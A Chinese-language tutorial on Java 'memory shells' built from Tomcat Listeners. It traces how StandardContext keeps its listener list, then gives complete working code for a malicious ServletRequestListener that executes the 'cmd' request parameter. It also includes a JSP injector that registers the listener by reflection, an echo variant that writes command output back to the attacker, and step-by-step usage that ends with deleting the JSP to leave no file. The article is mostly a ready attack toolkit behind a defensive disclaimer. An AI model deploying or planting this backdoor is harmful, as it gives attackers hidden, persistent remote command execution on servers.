一文读懂Java内存马——listener篇
字数 3794 2025-10-18 11:17:50

Java内存马全面解析:Listener篇教学文档

1. 前言与核心概念

Java Web三大组件 是构成Java Web应用的基础,包括:

  • Servlet:用于处理客户端请求并生成响应。
  • Filter(过滤器):用于在请求到达Servlet之前或响应返回客户端之前进行预处理和后处理。
  • Listener(监听器):本文焦点,用于监听Web应用中的事件,并在事件发生时执行特定操作。

内存马(Memory Shell) 是一种无文件落地、驻留在服务器内存中的恶意后门程序。其核心特征是难以被传统的文件扫描检测到,具有极高的隐蔽性。

本文档将深入剖析基于Listener(监听器) 的Java内存马实现原理、注入技术及命令回显解决方案。

2. Listener(监听器)详解

2.1 监听器类型

Listener主要用于监听三大域对象(ServletContext, HttpSession, ServletRequest)的生命周期和属性变化。

按监听对象划分:

  1. ServletContext监听器:监听应用上下文的创建、销毁及属性变化。
  2. HttpSession监听器:监听用户会话的创建、销毁、激活、钝化及属性变化。
  3. ServletRequest监听器:监听每个请求的创建、销毁及属性变化。这是内存马的首选类型。

按监听事件划分:

  • 域对象生命周期
    • ServletContextListener:监听应用启动/关闭。
    • HttpSessionListener:监听会话开始/结束。
    • ServletRequestListener监听每个请求的到来和结束。这是内存马的关键。
  • 域对象属性变化
    • ServletContextAttributeListener
    • HttpSessionAttributeListener
    • ServletRequestAttributeListener
    • (这些在属性被增删改时触发,不适合拦截所有请求)
  • Session中对象绑定
    • HttpSessionBindingListener
    • HttpSessionActivationListener
    • (需要对象实现特定接口,不适合作为通用内存马)

2.2 为什么选择ServletRequestListener作为内存马?

  • 拦截所有请求requestInitialized 方法在每个请求到来时都会触发,确保了后门的高覆盖性,不会漏掉任何攻击流量。
  • 交互性强:可以直接从 ServletRequestEvent 中获取请求对象(ServletRequest),从而读取攻击者传递的参数(如命令cmd)。
  • 灵活性强:具备操作响应(ServletResponse)的潜力,支持复杂的命令执行、结果回传等操作。

3. 正常Listener的工作流程与内存马注入原理

3.1 正常Listener的定义与注册

  1. 定义Listener:创建一个类实现 ServletRequestListener 接口,并重写 requestInitializedrequestDestroyed 方法。

    package com.ex;
    import javax.servlet.*;
    import java.io.IOException;
    
    public class firstListener implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            ServletRequest req = sre.getServletRequest();
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd); // 执行命令
                } catch (IOException e) { e.printStackTrace(); }
            }
        }
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {}
    }
    
  2. 注册Listener:在 web.xml 中配置。

    <listener>
        <listener-class>com.ex.firstListener</listener-class>
    </listener>
    

3.2 Listener的加载与执行链分析(核心)

内存马的注入依赖于对Tomcat底层架构的理解。关键对象是 StandardContext

  1. 事件触发:当HTTP请求到达时,Tomcat会触发 ServletRequestListenerrequestInitialized 方法。
  2. 调用源:调用逻辑位于 org.apache.catalina.core.StandardContext 类的方法中。
  3. Listener实例来源StandardContext 从一个 Object[] instances 数组中获取所有Listener实例。
  4. 数组来源instances 数组通过 getApplicationEventListeners() 方法获得,该方法返回的是 applicationEventListenersList.toArray()
  5. 核心集合applicationEventListenersListStandardContext 的一个关键私有属性,其定义如下:
    private final List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
    
    这个 List<Object> 集合存放了所有应用级的事件监听器对象。
  6. 添加Listener的方法StandardContext 类提供了 addApplicationEventListener(Object listener) 方法,该方法的作用就是向 applicationEventListenersList 集合中添加一个新的监听器对象。
  7. 调用链追溯addApplicationEventListener 方法会被 StandardContextaddListener(T t) 方法调用,后者又会被 ApplicationContextApplicationContextFacade(即 ServletContext 的实现)的相关方法调用。最终,在Web应用中调用 ServletContext.addListener() 就会完成这个链条。

小结:内存马注入的本质就是,在运行时获取当前Web应用的 StandardContext 对象,然后调用其 addApplicationEventListener 方法,将我们精心构造的恶意Listener对象动态地添加到 applicationEventListenersList 中。 这样,这个恶意Listener就会成为应用的一部分,参与所有后续的请求处理。

4. Listener内存马的构造与注入

4.1 基础内存马构造(无回显)

假设攻击者已经通过文件上传等方式将一个JSP Webshell传到了服务器上。

listenerShell.jsp 注入代码:

<%@ page import="org.apache.catalina.core.*, java.lang.reflect.*, javax.servlet.*" %>
<%!
// 1. 定义恶意Listener类
public class firstListener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest req = sre.getServletRequest();
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd); // 执行系统命令(无回显)
            } catch (Exception e) { }
        }
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {}
}
%>
<%
try {
    // 2. 获取StandardContext对象(核心步骤)
    // 2.1 获取ApplicationContextFacade (即 ServletContext)
    ServletContext sc = request.getServletContext();

    // 2.2 反射获取第一层:ApplicationContext
    Field ctxField = sc.getClass().getDeclaredField("context");
    ctxField.setAccessible(true);
    ApplicationContext appCtx = (ApplicationContext) ctxField.get(sc);

    // 2.3 反射获取第二层:StandardContext
    Field appCtxField = appCtx.getClass().getDeclaredField("context");
    appCtxField.setAccessible(true);
    StandardContext standardCtx = (StandardContext) appCtxField.get(appCtx);

    // 3. 注入恶意Listener
    standardCtx.addApplicationEventListener(new firstListener());
    out.println("Listener Memory Shell Injected Successfully!");
} catch (Exception e) {
    e.printStackTrace();
}
%>

利用流程:

  1. 访问 http://target.com/path/listenerShell.jsp,页面输出 "注入成功"。
  2. 删除 listenerShell.jsp 文件,实现无文件落地。
  3. 访问任意存在的URL并携带 cmd 参数,如 http://target.com/anypage.jsp?cmd=calc.exe,系统命令(如打开计算器)将会在服务器上执行。由于没有处理响应,执行结果不会显示在页面上。

4.2 解决命令回显问题

无回显的内存马实用性低。为了实现回显,需要在恶意Listener中获取 HttpServletResponse 对象,并将命令执行结果写入其中。

关键技术点:ServletRequestEvent 中获取 Response 对象。

  1. sre.getServletRequest() 返回的是一个包装器对象(如 RequestFacade)。
  2. 其内部有一个私有属性 request,指向底层的 org.apache.catalina.connector.Request 对象。
  3. Request 对象中有一个 response 属性,指向对应的 Response 对象。
  4. 需要通过反射来逐层获取这些私有属性。

增强版 firstListener 类(带回显):

public class firstListener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest req = sre.getServletRequest();
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            try {
                // 使用反射获取Response对象
                Field reqField = req.getClass().getDeclaredField("request");
                reqField.setAccessible(true);
                Object realRequest = reqField.get(req); // 获取底层Request对象

                Field resField = realRequest.getClass().getDeclaredField("response");
                resField.setAccessible(true);
                HttpServletResponse response = (HttpServletResponse) resField.get(realRequest); // 获取Response

                // 设置响应头
                response.setContentType("text/html;charset=UTF-8");
                PrintWriter out = response.getWriter();

                // 执行命令并读取输出
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.InputStream in = process.getInputStream();
                java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
                String result = s.hasNext() ? s.next() : "";

                // 将结果写回客户端
                out.println(result);
                out.flush();
                out.close();

            } catch (Exception e) { /* 错误处理 */ }
        }
    }
    // ... requestDestroyed ...
}

将上述增强版类替换到 listenerShell.jsp 中原来的类定义部分。注入后,访问任何URL带 cmd 参数,命令执行的结果将会完整地显示在浏览器中。

注意: 为了成功回显,访问的URL最好是一个真实存在的路径,否则可能会被容器优先返回的404等错误页面覆盖命令回显。

5. 总结与对比

特性 Servlet内存马 Filter内存马 Listener内存马
触发方式 访问特定URL路径 拦截匹配的URL模式 拦截所有请求
灵活性 路径固定,需记忆 可定义过滤路径,灵活 全局触发,无需配置路径
隐蔽性 中等 高(可伪装为正常Filter) 极高(与请求URL无关)
适用场景 作为专用后门入口 最常用,功能全面 持久化驻留,深度隐藏

最终结论:
Listener内存马的成功注入,根本在于动态修改了Tomcat核心组件 StandardContext 所维护的监听器列表。通过反射技术获取运行时上下文,并将恶意代码作为合法组件注册,实现了无文件、高隐蔽性的持久化控制。它是Web安全领域中一种高级、危险的攻击技术,防御者需要深入理解其原理才能进行有效的检测和防护。


免责声明: 本文档内容仅用于安全教学和技术研究目的,旨在提升防御能力。使用者应严格遵守《中华人民共和国网络安全法》及相关法律法规,任何非法用途产生的后果由使用者自行承担。

Java内存马全面解析:Listener篇教学文档 1. 前言与核心概念 Java Web三大组件 是构成Java Web应用的基础,包括: Servlet :用于处理客户端请求并生成响应。 Filter(过滤器) :用于在请求到达Servlet之前或响应返回客户端之前进行预处理和后处理。 Listener(监听器) :本文焦点,用于监听Web应用中的事件,并在事件发生时执行特定操作。 内存马(Memory Shell) 是一种无文件落地、驻留在服务器内存中的恶意后门程序。其核心特征是难以被传统的文件扫描检测到,具有极高的隐蔽性。 本文档将深入剖析基于 Listener(监听器) 的Java内存马实现原理、注入技术及命令回显解决方案。 2. Listener(监听器)详解 2.1 监听器类型 Listener主要用于监听三大域对象(ServletContext, HttpSession, ServletRequest)的生命周期和属性变化。 按监听对象划分: ServletContext监听器 :监听应用上下文的创建、销毁及属性变化。 HttpSession监听器 :监听用户会话的创建、销毁、激活、钝化及属性变化。 ServletRequest监听器 :监听每个请求的创建、销毁及属性变化。 这是内存马的首选类型。 按监听事件划分: 域对象生命周期 : ServletContextListener :监听应用启动/关闭。 HttpSessionListener :监听会话开始/结束。 ServletRequestListener : 监听每个请求的到来和结束。这是内存马的关键。 域对象属性变化 : ServletContextAttributeListener HttpSessionAttributeListener ServletRequestAttributeListener (这些在属性被增删改时触发,不适合拦截所有请求) Session中对象绑定 : HttpSessionBindingListener HttpSessionActivationListener (需要对象实现特定接口,不适合作为通用内存马) 2.2 为什么选择ServletRequestListener作为内存马? 拦截所有请求 : requestInitialized 方法在每个请求到来时都会触发,确保了后门的高覆盖性,不会漏掉任何攻击流量。 交互性强 :可以直接从 ServletRequestEvent 中获取请求对象( ServletRequest ),从而读取攻击者传递的参数(如命令 cmd )。 灵活性强 :具备操作响应( ServletResponse )的潜力,支持复杂的命令执行、结果回传等操作。 3. 正常Listener的工作流程与内存马注入原理 3.1 正常Listener的定义与注册 定义Listener :创建一个类实现 ServletRequestListener 接口,并重写 requestInitialized 和 requestDestroyed 方法。 注册Listener :在 web.xml 中配置。 3.2 Listener的加载与执行链分析(核心) 内存马的注入依赖于对Tomcat底层架构的理解。关键对象是 StandardContext 。 事件触发 :当HTTP请求到达时,Tomcat会触发 ServletRequestListener 的 requestInitialized 方法。 调用源 :调用逻辑位于 org.apache.catalina.core.StandardContext 类的方法中。 Listener实例来源 : StandardContext 从一个 Object[] instances 数组中获取所有Listener实例。 数组来源 : instances 数组通过 getApplicationEventListeners() 方法获得,该方法返回的是 applicationEventListenersList.toArray() 。 核心集合 : applicationEventListenersList 是 StandardContext 的一个关键私有属性,其定义如下: 这个 List<Object> 集合存放了所有应用级的事件监听器对象。 添加Listener的方法 : StandardContext 类提供了 addApplicationEventListener(Object listener) 方法,该方法的作用就是向 applicationEventListenersList 集合中添加一个新的监听器对象。 调用链追溯 : addApplicationEventListener 方法会被 StandardContext 的 addListener(T t) 方法调用,后者又会被 ApplicationContext 和 ApplicationContextFacade (即 ServletContext 的实现)的相关方法调用。最终,在Web应用中调用 ServletContext.addListener() 就会完成这个链条。 小结:内存马注入的本质就是,在运行时获取当前Web应用的 StandardContext 对象,然后调用其 addApplicationEventListener 方法,将我们精心构造的恶意Listener对象动态地添加到 applicationEventListenersList 中。 这样,这个恶意Listener就会成为应用的一部分,参与所有后续的请求处理。 4. Listener内存马的构造与注入 4.1 基础内存马构造(无回显) 假设攻击者已经通过文件上传等方式将一个JSP Webshell传到了服务器上。 listenerShell.jsp 注入代码: 利用流程: 访问 http://target.com/path/listenerShell.jsp ,页面输出 "注入成功"。 删除 listenerShell.jsp 文件 ,实现无文件落地。 访问 任意存在的URL 并携带 cmd 参数,如 http://target.com/anypage.jsp?cmd=calc.exe ,系统命令(如打开计算器)将会在服务器上执行。由于没有处理响应,执行结果不会显示在页面上。 4.2 解决命令回显问题 无回显的内存马实用性低。为了实现回显,需要在恶意Listener中获取 HttpServletResponse 对象,并将命令执行结果写入其中。 关键技术点: 从 ServletRequestEvent 中获取 Response 对象。 sre.getServletRequest() 返回的是一个包装器对象(如 RequestFacade )。 其内部有一个私有属性 request ,指向底层的 org.apache.catalina.connector.Request 对象。 Request 对象中有一个 response 属性,指向对应的 Response 对象。 需要通过 反射 来逐层获取这些私有属性。 增强版 firstListener 类(带回显): 将上述增强版类替换到 listenerShell.jsp 中原来的类定义部分。注入后,访问任何URL带 cmd 参数,命令执行的结果将会完整地显示在浏览器中。 注意: 为了成功回显,访问的URL最好是一个 真实存在的路径 ,否则可能会被容器优先返回的404等错误页面覆盖命令回显。 5. 总结与对比 | 特性 | Servlet内存马 | Filter内存马 | Listener内存马 | | :--- | :--- | :--- | :--- | | 触发方式 | 访问特定URL路径 | 拦截匹配的URL模式 | 拦截所有请求 | | 灵活性 | 路径固定,需记忆 | 可定义过滤路径,灵活 | 全局触发,无需配置路径 | | 隐蔽性 | 中等 | 高(可伪装为正常Filter) | 极高(与请求URL无关) | | 适用场景 | 作为专用后门入口 | 最常用,功能全面 | 持久化驻留,深度隐藏 | 最终结论: Listener内存马的成功注入,根本在于动态修改了Tomcat核心组件 StandardContext 所维护的监听器列表。通过反射技术获取运行时上下文,并将恶意代码作为合法组件注册,实现了无文件、高隐蔽性的持久化控制。它是Web安全领域中一种高级、危险的攻击技术,防御者需要深入理解其原理才能进行有效的检测和防护。 免责声明: 本文档内容仅用于安全教学和技术研究目的,旨在提升防御能力。使用者应严格遵守《中华人民共和国网络安全法》及相关法律法规,任何非法用途产生的后果由使用者自行承担。